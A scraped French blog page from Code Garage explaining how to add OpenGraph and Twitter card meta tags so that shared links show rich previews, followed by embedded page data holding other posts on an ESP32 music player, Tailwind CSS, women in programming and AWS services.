Personnaliser le partage de sites web sur les réseaux sociaux

Découvrez la puissance des balises de métadonnées OpenGraph, très facile à implémenter pour partager vos sites sur les réseaux !

Article publié le 12/06/2020, dernière mise à jour le 19/09/2023

Quelle frustration lorsque vous venez de finaliser votre site sur lequel vous avez travaillé pendant des semaines, et qu'au moment de partager le lien sur les réseaux sociaux, rien ne s'affiche à part le titre du site, sans image, sans description...

C'est moche...

Mais comment faire pour rendre ça plus attractif, donner confiance aux gens et les inciter à partager ?

C'est ce que nous allons découvrir avec les balises OpenGraph !

Le principe

Lorsque  vous ajoutez un lien dans un post sur les réseaux sociaux, la plateforme en question va chercher dans son cache si il existe des informations sur ce lien.

Si ce lien n'a jamais été partagé, la plateforme va envoyer un robot parcourir le site en question afin de récupérer les informations manquantes et ainsi construire un joli "riche".

Un exemple de lien "riche"

C'est dans les métadonnées de la page que tout va se jouer, carar ce serait  trop fastidieux pour le robot d'essayer de trouver dans le contenu de la page les éléments qui la décrive le mieux.

Son job à lui, c'est d'être fainéant et de récupérer seulement ce qu'on lui met à disposition, grâce à une convention appelée OpenGraph.

Qu'est-ce qu'OpenGraph

OpenGraph est un ensemble de balises de métadonnées utilisées pour augmenter la quantité d'informations connues à propos d'une page web, venant notamment agrémenter les balises et <meta name="description"> contenus dans la spécification HTML.</p> <h3>Les principales balises</h3> <p>Il existes des dizaines de balises OpenGraph, mais si vous souhaitez simplement améliorer le rendu de vos liens sur les réseaux sociaux, <strong>il vous suffit d'ajouter les 4 balises ci-dessous</strong> :</p> <pre><code> <meta property="og:url" content="https://example.com"/> <meta property="og:title" content="My example website"/> <meta property="og:description" content="This is where [...]"/> <meta property="og:image" content="https://example.com/static/img/cover.jpg"/> </code></pre> <p>Vous trouverez toute la documentation des balises disponibles sur : <a href="https://ogp.me/" target="_blank">https://ogp.me/</a></p> <h3>Twitter</h3> <p>À noter que <strong>pour que le partage sur Twitter fonctionne de manière optimale</strong>, il existe des balises supplémentaires :</p> <pre><code> <meta name="twitter:card" content="summary_large_image"/> <meta name="twitter:site" content="@NicolasBrondin"/> <meta name="twitter:creator" content="@NicolasBrondin"/> </code></pre> <p><strong>La balise twitter:card étant la plus importante</strong> car elle indique sous quelle forme de carte le lien doit être publié.</p> <p>Plus d'infos ici : <a href="https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards" target="_blank">https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards</a></p> <h3>Les pièges à éviter</h3> <ul> <li>Si vous rencontrez des problèmes dans le rendu de vos liens, notamment sur LinkedIn, <strong>vérifiez bien que vos open-graph sont définies avec l'attribut "property" et non pas "name"</strong> comme la plupart des balises méta !</li> <li>Pensez à vérifier <strong>les tailles des images</strong> <strong>conseillées</strong> sur vos réseaux sociaux cibles, sous peine que cette dernière ne s'affiche pas</li> <li>L'url de l'image doit être <strong>une url absolue</strong>.</li> </ul> <h3>Tester vos urls</h3> <p>Si vous avez encore des problèmes avec l'affichage des métadonnées sur les réseaux sociaux, chaque plateforme propose un outil pour <strong>aider à la résolution des problèmes, ainsi que l'invalidation du cache pour l'url en question</strong> :</p> <ul> <li>Facebook : <a href="https://developers.facebook.com/tools/debug/" target="_blank">https://developers.facebook.com/tools/debug/</a></li> <li>Twitter : <a href="https://cards-dev.twitter.com/validator" target="_blank">https://cards-dev.twitter.com/validator</a></li> <li>LinkedIn : <a href="https://www.linkedin.com/post-inspector/" target="_blank">https://www.linkedin.com/post-inspector/</a></li> </ul> <h3>En bonus</h3> <p>Si vous publiez vos sites sous <strong>Wordpress</strong>, je vous recommande <strong>le plugin Yoast SEO</strong> qui vous permettra de configurer facilement vos balises open-graph directement sur chaque page !</p> </div><hr data-v-3ae37eb3><p data-v-3ae37eb3><a href="https://unsplash.com/@austindistel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText" target="_blank" data-v-3ae37eb3>Austin Distel sur Unsplash</a></p></div><div class="alert success" data-v-3ae37eb3 data-v-cfb49af2><!--[--><span class="flex-1" data-v-3ae37eb3>Vous avez terminé l'article ?</span><!----><button class="btn btn-light-outline btn-small" data-v-3ae37eb3><span data-v-3ae37eb3>Marquer comme lu</span><img src="/_nuxt/check.f8d81680.svg" class="icon-right" alt="" data-v-3ae37eb3></button><!--]--></div><div class="card card-undefined comment-box" data-v-3ae37eb3 data-v-6fb4858c data-v-a9e7e761><!--[--><form class="new-comment-form" data-v-6fb4858c><p class="title size-xl title-undefined" data-v-6fb4858c data-v-b3cf58e7><img src="/_nuxt/comment.ee8b7aac.svg" data-v-b3cf58e7>Commentaires (0)<!--[--><!--]--></p><!----><textarea required aria-required="true" minlength="2" pattern="[a-z]{4,8}" title="Votre commentaire" disabled placeholder="Laisser un commentaire..." data-v-6fb4858c></textarea><div class="new-comment-actions" data-v-6fb4858c><p class="text-sm text-sky-900 m-0 mr-2" data-v-6fb4858c><button type="button" class="link border-b" data-v-6fb4858c>Connectez-vous</button> pour laisser un commentaire </p><button disabled class="btn btn-secondary btn-small" data-v-6fb4858c><span data-v-6fb4858c>Envoyer</span><!----></button></div><div class="alerts mt-2" data-v-6fb4858c><!----><!----></div></form><div class="comments-list" data-v-6fb4858c><!----><p class="text-slate-400 text-center" data-v-6fb4858c>Aucun commentaire pour l'instant</p><!--[--><!--]--></div><!--]--></div></div><div class="sidebar ml-8" style="max-width:300px;" data-v-3ae37eb3><!----></div></div><!----><!----><!--]--><!--[--><!--]--></main><footer data-v-e350d68e><nav data-v-e350d68e><ul data-v-e350d68e><li data-v-e350d68e><a href="/courses" class="" data-v-e350d68e>Tous nos cours</a></li><li data-v-e350d68e><a href="/payment/pricing" class="" data-v-e350d68e>Nos tarifs</a></li></ul><ul data-v-e350d68e><li data-v-e350d68e><a href="/blog" class="" data-v-e350d68e>Les articles de blog</a></li><li data-v-e350d68e><a href="/podcast" class="" data-v-e350d68e>Le podcast</a></li><li data-v-e350d68e><a href="/videos" class="" data-v-e350d68e>Les vidéos</a></li><li data-v-e350d68e><a href="/offres" class="" data-v-e350d68e>Les offres pour devs</a></li><li data-v-e350d68e><a href="/blog/rss" target="_blank" data-v-e350d68e>Le flux RSS</a></li></ul><ul data-v-e350d68e><li data-v-e350d68e><a href="/open-data" class="" data-v-e350d68e>Données publiques</a></li><li data-v-e350d68e><a href="/legal-mentions" class="" data-v-e350d68e>Mentions légales</a></li><li data-v-e350d68e><a href="/terms-of-use" class="" data-v-e350d68e>Conditions générales d'utilisation</a></li><li data-v-e350d68e><a href="/terms-of-sales" class="" data-v-e350d68e>Conditions générales de vente</a></li></ul><ul data-v-e350d68e><li data-v-e350d68e><a href="https://code-garage.betteruptime.com/" target="_blank" data-v-e350d68e>Status</a></li><li data-v-e350d68e><a href="mailto:hello@code-garage.fr" data-v-e350d68e>Nous contacter</a></li><li data-v-e350d68e><a href="https://twitter.com/CodeGarageFr" target="_blank" data-v-e350d68e>Twitter</a></li><li data-v-e350d68e><a href="https://www.linkedin.com/company/87167936" target="_blank" data-v-e350d68e>LinkedIn</a></li></ul></nav></footer></div></div><script type="application/json" id="__NUXT_DATA__" data-ssr="true">[["Reactive",1],{"data":2,"state":2162,"_errors":2163,"serverRendered":2086,"path":2164,"pinia":2165},{"$4uPpC4gagc":3},{"post":4,"comments":2161},{"id":5,"title":6,"content":7,"socialTitle":8,"description":9,"socialDescription":8,"slug":10,"createdAt":11,"updatedAt":12,"publishedAt":13,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":14,"coverCopyright":15,"coverCopyrightLink":16,"author":17,"tags":40,"socialCover":8,"cover":8,"promotedCourse":8},35,"Personnaliser le partage de sites web sur les réseaux sociaux","Quelle frustration lorsque vous venez de finaliser votre site sur lequel vous avez travaillé pendant des semaines, et qu'au moment de partager le lien sur les réseaux sociaux, **rien ne s'affiche à part le titre du site**, sans image, sans description...\n\n> C'est moche...\n\nMais comment faire pour rendre ça plus attractif, **donner confiance aux gens et les inciter à partager ?**\n\n_C'est ce que nous allons découvrir avec les balises OpenGraph !_\n\n## Le principe\n\nLorsque  vous ajoutez un lien dans un post sur les réseaux sociaux, la plateforme en question **va chercher dans son cache** si il existe des informations sur ce lien.\n\nSi ce lien n'a jamais été partagé, **la plateforme va envoyer un robot parcourir le site** en question afin de récupérer les informations manquantes et ainsi **construire un joli \"riche\"**.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/Sans-titre-6-2.png)\n\nUn exemple de lien \"riche\"\n\n**C'est dans les métadonnées de la page que tout va se jouer, car**ar ce serait  trop fastidieux pour le robot d'essayer de trouver dans le contenu de la page les éléments qui la décrive le mieux.\n\nSon job à lui, c'est d'être fainéant et de **récupérer seulement ce qu'on lui met à disposition, grâce à une convention appelée OpenGraph**.\n\n## Qu'est-ce qu'OpenGraph\n\nOpenGraph est un ensemble de balises de métadonnées utilisées pour **augmenter la quantité d'informations connues à propos d'une page web**, venant notamment agrémenter les balises \u003Ctitle> et \u003Cmeta name=\"description\"> contenus dans la spécification HTML.\n\n### Les principales balises\n\nIl existes des dizaines de balises OpenGraph, mais si vous souhaitez simplement améliorer le rendu de vos liens sur les réseaux sociaux, **il vous suffit d'ajouter les 4 balises ci-dessous** :\n\n```\n\n\u003Cmeta property=\"og:url\" content=\"https://example.com\"/>\n\u003Cmeta property=\"og:title\" content=\"My example website\"/>\n\u003Cmeta property=\"og:description\" content=\"This is where [...]\"/>\n\u003Cmeta property=\"og:image\" content=\"https://example.com/static/img/cover.jpg\"/>\n\n```\n\nVous trouverez toute la documentation des balises disponibles sur : [https://ogp.me/](https://ogp.me/)\n\n### Twitter\n\nÀ noter que **pour que le partage sur Twitter fonctionne de manière optimale**, il existe des balises supplémentaires :\n\n```\n\n\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\"/>\n\u003Cmeta name=\"twitter:site\" content=\"@NicolasBrondin\"/>\n\u003Cmeta name=\"twitter:creator\" content=\"@NicolasBrondin\"/>\n\n```\n\n**La balise twitter:card étant la plus importante** car elle indique sous quelle forme de carte le lien doit être publié.\n\nPlus d'infos ici : [https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards](https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards)\n\n### Les pièges à éviter\n\n* Si vous rencontrez des problèmes dans le rendu de vos liens, notamment sur LinkedIn, **vérifiez bien que vos open-graph sont définies avec l'attribut \"property\" et non pas \"name\"** comme la plupart des balises méta !\n* Pensez à vérifier **les tailles des images** **conseillées** sur vos réseaux sociaux cibles, sous peine que cette dernière ne s'affiche pas\n* L'url de l'image doit être **une url absolue**.\n\n### Tester vos urls\n\nSi vous avez encore des problèmes avec l'affichage des métadonnées sur les réseaux sociaux, chaque plateforme propose un outil pour **aider à la résolution des problèmes, ainsi que l'invalidation du cache pour l'url en question** :\n\n* Facebook : [https://developers.facebook.com/tools/debug/](https://developers.facebook.com/tools/debug/)\n* Twitter : [https://cards-dev.twitter.com/validator](https://cards-dev.twitter.com/validator)\n* LinkedIn : [https://www.linkedin.com/post-inspector/](https://www.linkedin.com/post-inspector/)\n\n### En bonus\n\nSi vous publiez vos sites sous **Wordpress**, je vous recommande **le plugin Yoast SEO** qui vous permettra de configurer facilement vos balises open-graph directement sur chaque page !\n\n",null,"Découvrez la puissance des balises de métadonnées OpenGraph, très facile à implémenter pour partager vos sites sur les réseaux !","comment-personnaliser-le-partage-de-votre-site-sur-les-reseaux-sociaux-avec-opengraph","2020-06-12T07:12:43.000Z","2023-09-19T15:05:35.211Z","2020-06-12T08:10:48.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/06/austin-distel-tLZhFRLj6nY-unsplash.jpg","Austin Distel sur Unsplash","https://unsplash.com/@austindistel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":18,"username":19,"title":20,"avatar":21,"biography":39},8,"NicolasBrondinBernard","Fondateur",{"id":22,"name":23,"alternativeText":8,"caption":8,"width":24,"height":24,"formats":25,"hash":34,"ext":27,"mime":30,"size":35,"url":36,"previewUrl":8,"provider":37,"provider_metadata":8,"createdAt":38,"updatedAt":38},439,"avatar-8.jpg",400,{"thumbnail":26},{"ext":27,"url":28,"hash":29,"mime":30,"name":31,"path":8,"size":32,"width":33,"height":33},".jpg","https://code-garage-strapi-bucket-production.cellar-c2.services.clever-cloud.com/thumbnail_avatar_8_535f571f5f.jpg","thumbnail_avatar_8_535f571f5f","image/png","thumbnail_avatar-8.jpg",24.21,156,"avatar_8_535f571f5f",106.99,"https://code-garage-strapi-bucket-production.cellar-c2.services.clever-cloud.com/avatar_8_535f571f5f.jpg","aws-s3","2023-10-09T12:07:28.563Z","Je partage mon expérience et mes connaissances en programmation, plus de 300,000 devs ont déjà lu mes contenus !",[41,2093,2131,2153],{"id":42,"name":43,"slug":44,"createdAt":45,"updatedAt":46,"isPopular":47,"cover":8,"posts":48,"discussions":2081},10,"Tech","tech","2020-05-15T04:27:09.000Z","2023-09-19T15:05:47.471Z",false,[49,58,68,78,90,100,112,124,136,148,160,172,184,196,208,220,221,233,245,256,268,280,292,302,314,326,338,348,360,372,384,396,406,419,429,442,454,466,478,490,502,514,526,538,550,562,574,587,599,611,623,635,647,659,671,683,695,707,719,729,741,753,763,775,787,799,811,823,835,847,859,871,883,893,905,917,929,941,953,963,975,987,997,1009,1021,1031,1043,1053,1065,1078,1090,1102,1114,1126,1138,1150,1160,1170,1182,1194,1206,1218,1229,1238,1248,1260,1272,1284,1296,1308,1319,1332,1344,1356,1368,1380,1392,1404,1416,1428,1438,1450,1462,1473,1483,1493,1503,1515,1527,1539,1549,1560,1572,1582,1594,1606,1620,1630,1642,1654,1664,1676,1689,1701,1713,1725,1737,1749,1762,1775,1787,1799,1811,1823,1835,1847,1859,1871,1883,1892,1902,1914,1926,1938,1950,1962,1974,1986,1996,2008,2021,2033,2043,2053,2063,2072],{"id":50,"title":51,"content":52,"socialTitle":8,"description":8,"socialDescription":8,"slug":53,"createdAt":54,"updatedAt":55,"publishedAt":56,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":57,"coverCopyright":8,"coverCopyrightLink":8},11,"Building an open source white noise and mp3 player for babies using ESP32","A few days ago, my wife told me she was thinking about buying a white noise and music player for our daughter's bedroom to replace the ipad we were using. If you don't know about it, white noise help babies to fall asleep and that's very handy to get a few more hours of sleep !\n\nShe found one she liked on Amazon for about 30€, but as it was something I wanted to build myself, I told her I could build one for 15€ with all the feature she'd like, and that's what I did. (Well it actually cost me around 17€ in total)\n\n## Research\n\nI played with Raspberry Pi and Arduino Uno before, but here I wanted to play with something new, smaller and with less power consumption. I decided to go with the ESP32 board, following an advice my very good friend [@Paul](https://github.com/paulvarache) gave me a weeks ago.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/04/ESP32-broches-tactiles.png)\n\nNext step was finding something to play audio from, and as I never tried it before I simply Googled \"arduino mp3 module\" which gave me it's first answer : DFPlayer Mini. The module is an autonomous (which means you don't need any additional chip to play audio from it) mp3 audio player supporting micro SD card and with audio amplifier included, exactly what I was looking for because I wanted to build it as quickly as possible.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/04/miniplayer_pin_map-1.png)\n\nAfter reading a few tutorials and watching some youtube videos, came across a some people who managed to make these two components work together so I ordered them along with a little audio speaker and jumped in !\n\n## Components\n\nHere are all the components I used to make the project along with prices and all the links to buy them (from amazon.fr, not sponsored).\n\n* [ESP32 Dev Module](https://www.amazon.fr/gp/product/B07DPP3BGZ/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1) \\- 9,49€\n* [DFPlayer Mini](https://www.amazon.fr/gp/product/B07T89PFFD/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1) - 3,11€ (6,21€ pack of two)\n* [Speaker](https://www.amazon.fr/gp/product/B0738NLFTG/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1) 3.99€ (7,99€ pack of two)\n\nI also used 1 micro SD card, 4 push buttons, 4\\*10KΩ resistors, 1\\*1KΩ resistor, a breadboard a some jump wires that I already had beforehand.\n\n## Circuit\n\nAfter receiving all the parts and looking at some more tutorials to understand how make the ESP32 and the DFPlayer Mini together I came with this circuit.\n\nAs you can see, the ESP32 communicate with the player by its serial pins and as I followed other people instructions, the TX-RX link need a 1K resistor to reduce noise on the communication.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/04/schema.jpg)\n\n## Code\n\nAll the code you need to send to the ESP32 to make it work is available on my [GitHub as an open source project you are free to contribute](https://github.com/NicolasBrondin/flower-player) ! Enjoy !\n\nBut in bonus, here is a little video I took while building the music player so you can see it works very well !\n\n![](https://code-garage-strapi-bucket-production.cellar-c2.services.clever-cloud.com/prototype_arduino_mp3_fdac4e0b9a.mp4)","building-an-open-source-mp3-player","2020-04-22T14:52:52.000Z","2023-11-02T14:36:30.093Z","2020-04-22T15:44:07.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/04/rose-music-player.jpg",{"id":59,"title":60,"content":61,"socialTitle":8,"description":62,"socialDescription":8,"slug":63,"createdAt":64,"updatedAt":65,"publishedAt":66,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":67,"coverCopyright":8,"coverCopyrightLink":8},14,"Le plus gros problème de Tailwind CSS...","## La première impression\n\nMa première rencontre avec Tailwind s’est faite lors de la présentation d’un projet par un étudiant lors d'un jury. En lui demandant de nous expliquer le choix de cette librairie pour son projet, il nous a alors gratifié de ces quelques mots qui résonnent encore en moi :\n\n> Parce que c’est mieux que bootstrap.\n\n**Bien que bootstrap ne soit pas parfait**, j’avais du mal à croire cette affirmation pour la simple et bonne raison que le code qu’il était en train de me présenter ressemblait à celui-ci :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/carbon-2-.png)\n\n> Ah... la nostalgie du css entièrement écrit en inline, nous rappelant les heures les plus sombre du développement web... quel plaisir.\n\nUne fois la nostalgie passée, je fis tout pour retenir le haut-le-coeur qui monta soudainement en moi : **le code ne rentrait même pas sur l’écran du vidéo-projecteur !**\n\nVous vous en doutez, lorsqu'on lui a demandé de changer la couleur de tous les liens de son application devant nous, c'est son visage qui vira au rouge plus vite que les liens... Il comprit son erreur, nous expliqua que **Tailwind dispose d'un moyen de factoriser tout ça grâce à une directive**, mais qu’il n’avait pas pris le temps de l'utiliser. (Dommage)\n\n**Cette directive, elle s'appelle : @apply**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/carbon-5-.png)\n\nIl y a quelques semaines, l'envie m'a pris d'aller voir ce fameux Tailwind de plus près, après tout j**e n'ai rien contre l'approche \"utility-based\"** si elle est appliquée correctement ! Même si notre rencontre fût assez décevante, **la faute venait du développeur** qui n'avait rien fait pour rendre le code lisible... **Enfin c'est ce que je croyais**.\n\n## Plongée en apnée dans la doc\n\nQuelle ne fut pas ma surprise en lisant dans la documentation officielle de Tailwind : quasiment **TOUS les exemples de code fournis dans la doc sont écrits en inline**, et l’utilisation de _@apply_ est évoquée rapidement mais sans jamais inciter les développeur à l’utiliser systématiquement.\n\nOk, l'utility-based ça peut être super, mais **laisser croire aux développeurs** qu’il est intéressant d'autant écrire en inline comme ça, _même dans des composants web qui évitent la répétition_, **je trouve ça déplorable**.\n\nUtilisez Tailwind tant que vous voulez (je vous rejoinds bientôt) mais par pitié **utilisez la puissance des directives** fournies avec et **évitez d’utiliser les monstres que sont les pseudo-classes en inline**.\n\nUn petit palmarès de code illisible, directement tiré de la doc officielle :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/carbon-9-.png)\n\nUn magnifique champ d'email accompagné de sa pseudo-classe focus\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/carbon-10-.png)\n\nUne alerte moderne sur son lit de flexbox\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/carbon-8-.png)\n\nUne carte responsive sur ses mille et une saveurs de texte","L'utility-based c'est pratique et puissant, mais Tailwind souffre d'un gros défaut qui pousse beaucoup de développeurs à écrire du code illisible.","le-plus-gros-probleme-de-tailwind-css","2020-05-12T20:05:39.000Z","2023-11-27T06:43:02.481Z","2020-05-12T21:42:12.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/05/icons8-team-r-enAOPw8Rs-unsplash.jpg",{"id":69,"title":70,"content":71,"socialTitle":8,"description":72,"socialDescription":8,"slug":73,"createdAt":74,"updatedAt":75,"publishedAt":76,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":77,"coverCopyright":8,"coverCopyrightLink":8},15,"Pourquoi le manque de femmes dans la programmation est un gros problème ?","En discutant de la représentation des femmes dans le monde de la programmation avec la blogueuse [@LucileJuhel](https://letitbe.fr) aujourd'hui, j'ai compris quelque chose :\n\nOn parle souvent de discrimination à l'embauche, que ce soit à cause du sexe, de l'origine, de la religion, de l'orientation sexuelle ou même de l'âge et ce pour tous les postes, et tous les secteurs d'activité.\n\n**Et si ces recruteurs sortis du moyen-âge n'étaient pas le seul problème ?**\n\nDans l'un de mes premiers jobs, j'ai été amené à faire passer un certain nombre d'entretiens pour des postes de développeurs et, bien sûr, à lire et trier les CV de ces candidats. Mais voilà, je ne me souviens pas avoir fait passer un seul entretien à une développeuse, mais surtout de n'avoir reçu aucune candidature de femme pour ces postes !\n\n_Parfois, l’image d’une entreprise trop inégale en terme de répartition hommes-femmes peut empêcher certains profils de candidater, mais mon entreprise de l’époque était constituée à plus de 50% de femmes, donc là n’était pas le problème._\n\nLe constat est simple : **Le manque de développeuses dans les entreprises est surtout dû à l’échec du système scolaire** (et de notre société en général) **à orienter les femmes vers les métiers scientifiques et technologiques.**\n\nJe sais qu’en lisant cela, certains se demanderont :\n\n> Et alors, où est le problème si ces métiers plaisent moins au femmes ?\n\n**Mais là est tout le problème**, ce corps de métier ne risque pas de plaire à des personnes qui ne le connaissent pas ! Pour ne rien arranger, cette problématique cache un cercle vicieux. **Beaucoup de jeunes se lancent dans ces carrières en ayant en tête un modèle de réussite** : Bill Gates, Steve Jobs, Mark Zuckerberg, Elon Musk, etc...\n\nMais le manque de programmeuses induit que le pourcentage de femme reconnues dans ce milieu-là est encore plus mince, **réduisant donc les chances que d’autres jeunes filles se lancent à leur tour dans ce genre de carrière**.\n\nDepuis quelques années, **le système scolaire a commencé à introduire la programmation dans le cursus classique**, ce qui amènera, je l’espère, ce cercle vicieux à prendre fin. Mais tant que le problème n’est pas réglé, voici un exemple de discrimination auquel les femmes doivent encore faire face :\n\n::: bookmark\n[![](https://www.lepoint.fr/images/2019/11/23/19738219lpw-19738222-article-jpg_6699453_540x282.jpg)Aurélie Jean – Quand les algorithmes discriminent les femmes](https://www.lepoint.fr/invites-du-point/aurelie-jean-quand-les-algorithmes-discriminent-les-femmes-23-11-2019-2349124_420.php)\n:::\n\nOui. **Le manque de femmes dans le monde du développement d'hier nuit à l'expérience qu'ont les femmes avec le numérique aujourd'hui**. Évidemment, et même si j'ai consacré cet article aux femme aujourd'hui, **il en va de même pour le manque de diversité global** dans le monde de la tech ! (Quelques exemples [ici](https://www.iflscience.com/technology/this-racist-soap-dispenser-reveals-why-diversity-in-tech-is-muchneeded/) et [ici](https://siecledigital.fr/2020/03/25/la-reconnaissance-vocale-nexclurait-pas-le-racisme/), mais ces phénomènes méritent un article à eux tout seuls)\n\nAlors pour essayer d’apporter une note positive à ce constat, et dans l’espoir de montrer qu’il existe bel et bien de nombreux modèles de réussite dans le monde de l’informatique, **voici une petite liste non exhaustive des programmeuse de l'histoire que j'admire** le plus :\n\n## Ada Lovelace\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/Walter-Isaacson-life-impact-Ada-Lovelace.png)\n\nCertainement la plus connue de cette liste, Ada Lovelace est tout simplement LA première programmeuse de l'histoire. En 1842 elle travaille sur la machine analytique de Babbage et invente un algorithme pouvant calculer [les nombres de Bernouilli](https://fr.wikipedia.org/wiki/Nombres_de_Bernoulli) et introduisant par la même occasion la première boucle conditionnelle dans un programme.\n\n## Hedy Lamarr\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/hedy-lamarr.png)\n\nHedy Lamarr est une actrice et productrice de cinéma, mais surtout une inventrice de génie. Mariée à un important fabricant d'armes, elle travaillera à la description d'un système de communication secrète pour engins radio-guidés appliqué par aux torpilles en 1942. Ce principe de transmission, mis de côté à l'époque, est aujourd'hui utilisé dans les système GPS, les réseaux de téléphonie mobile en encore... le WiFi. \n\n## Joan Clarke\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/joan-clarke.png)\n\nCryptographe de formation, elle est recrutée en 1940 au Bletchley Park dans le but de participer au décryptage de la machine allemande \"Enigma\". Devenant vite la meilleure au sein de sa section, elle sera promue responsable adjointe du groupe qui parviendra à faire basculer la guerre en faveur des alliés au côté d'Alan Turing et de sa célèbre machine.\n\n## Grace Hopper\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/grace-hopper.png)\n\nQue dire de la célèbre Grace hopper sinon qu'elle est la conceptrice du premier compilateur en 1951 et du COBOL (langage le plus employé entre 1960 et 1980, encore dans les systèmes des insitutions financières) en 1959.\n\n## Maragaret Hamilton\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/05/hamilton.png)\n\nInformaticienne, ingénieure système, cheffe d'entreprise, elle fût surtout la directrice du département génie logiciel au sein du laboratoire du _MIT_ qui conçut le système embarqué du programme spatial Apollo. Ici on la voit se tenir à côté de la pile de code utilisée pour le système de navigation du programme.","Le manque de développeuses dans les entreprises est surtout dû à l’échec du système scolaire (et de notre société en général) à orienter les femmes vers les métiers scientifiques et technologiques.","pourquoi-le-manque-de-femmes-dans-la-programmation-est-un-gros-probleme","2020-05-14T06:04:54.000Z","2023-09-19T15:05:34.585Z","2020-05-14T08:12:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/05/eniac-women-programmers-feat.jpg",{"id":79,"title":80,"content":81,"socialTitle":8,"description":82,"socialDescription":8,"slug":83,"createdAt":84,"updatedAt":85,"publishedAt":86,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":87,"coverCopyright":88,"coverCopyrightLink":89},17,"Les 5 services AWS que j'utilise le plus","Les services web d'Amazon sont _extraordinaires_ : ils arrivent à la fois à **simplifier des tâches très complèxes**, mais aussi à **complexifier des tâches simples...**\n\n> Si vous avez déjà essayé de savoir combien vous coûtent vos services AWS, vous savez de quoi je parle...\n\nNéanmoins  il existe, à mon sens, **une poignée d'outils qui font pencher la balance**  en faveur d'Amazon et que j'utilise au quotidien depuis des années. Ce sont des outils simples, la plupart du temps abordables (attention à EC2 quand même) et qui peuvent vous faciliter la vie, surtout si vous êtes peu habitués à faire du déploiement.\n\n## 1 – Amazon EC2\n\n### Elastic Compute Cloud\n\nC'est plus ou moins l'équivalent d'un VPS chez Amazon. La différence avec un VPS plus \"classique\" est qu**'il existe énormément de pricing différents et de configurations possibles.**\n\n**Notez que vous payez à l'utilisation, donc si vous stoppez l'instance, cette dernière ne coutera plus rien**. Si vous recerchez une expérience de VPS plus classique, il me semble qu'_AWS Lightsail est fait pour ça_.\n\n## 2 – Amazon S3\n\n### Simple Static Storage\n\nComme  son nom l'indique, **Amazon S3 est un système de stockage de fichiers  statiques** (upload, download mais pas d'exécution). L'utilisation basique  permet par exemple de **stocker les ressources d'une application** (images, vidéos, json, xml,...) et de pouvoir les requêter par une url générée  par S3.\n\nMais l'une des fonctionnalité les plus intéressantes est la possibilité d'**utiliser le \"bucket\" comme un hébergement de site web statique** (ou le front d'une application web).\n\nIl suffit d'uploader ses fichiers, **activer l'hébergement web** et le tour est joué, vous pouvez accéder à votre site grâce à l'_url fournie_ !\n\n## 3 – Amazon Cloudfront\n\nCloudfront est un **CDN** à la sauce Amazon : il suffit de rentrer l'url (ou le bucket) à partir de laquelle il doit délivrer les fichiers, quelques configurations optionnelles et c'est fini.\n\nVous pouvez choisir les chemins des **fichiers à invalider lors de vos mises à jour**, où vous pouvez laisser vos scripts de déploiement faire le travail à votre place.\n\nLes vrais atout de Cloudfront sont la possibilité d'assigner **un ou plusieurs noms de domaines au cdn**, de rediriger les requêtes **http en https** mais surtout, SURTOUT, **d'activer le SSL simplement** et gratuitement grâce au service Amazon ACM.\n\n## 4 – Amazon Certificate Manager\n\nCe  service vous permet de **générer un certificat SSL** (pour passer votre  domaine en https) **gratuit** en ajoutant simplement une ligne à votre configuration DNS\n\nLa validation du certificat se fait en moins de 2 minutes, et si vous passez par les serveurs DNS chez Amazon, **il suffit d'un seul clic et tout est automatisé**  !\n\n## 5 – Route 53\n\nC'est le service de **configuration DNS** de chez Amazon. Il y a deux façons de l'utiliser :\n\n* Soit vous assignez les serveurs de noms fournis par Amazon à votre nom de domaine réservé chez un autre registrar\n* Soit vous **réservez votre nom de domaine** directement depuis Route53\n\nEnsuite **votre configuration se fera comme n'importe quel manager DNS !**","Il existe une poignée d'outils que j'utilise au quotidien depuis des années. Ce sont des outils simples, la plupart du temps abordables et qui peuvent vous faciliter la vie !","les-5-services-aws-que-jutilise-le-plus","2020-05-18T07:33:57.000Z","2023-09-22T13:34:23.920Z","2020-05-18T08:05:19.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/05/daniel-eledut-a8KNFpidIPI-unsplash.jpg","Daniel Eledut sur Unsplash","https://unsplash.com/@pixtolero2?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":91,"title":92,"content":93,"socialTitle":8,"description":94,"socialDescription":8,"slug":95,"createdAt":96,"updatedAt":97,"publishedAt":98,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":99,"coverCopyright":8,"coverCopyrightLink":8},19,"Les 3 outils indispensables pour faire du développement web 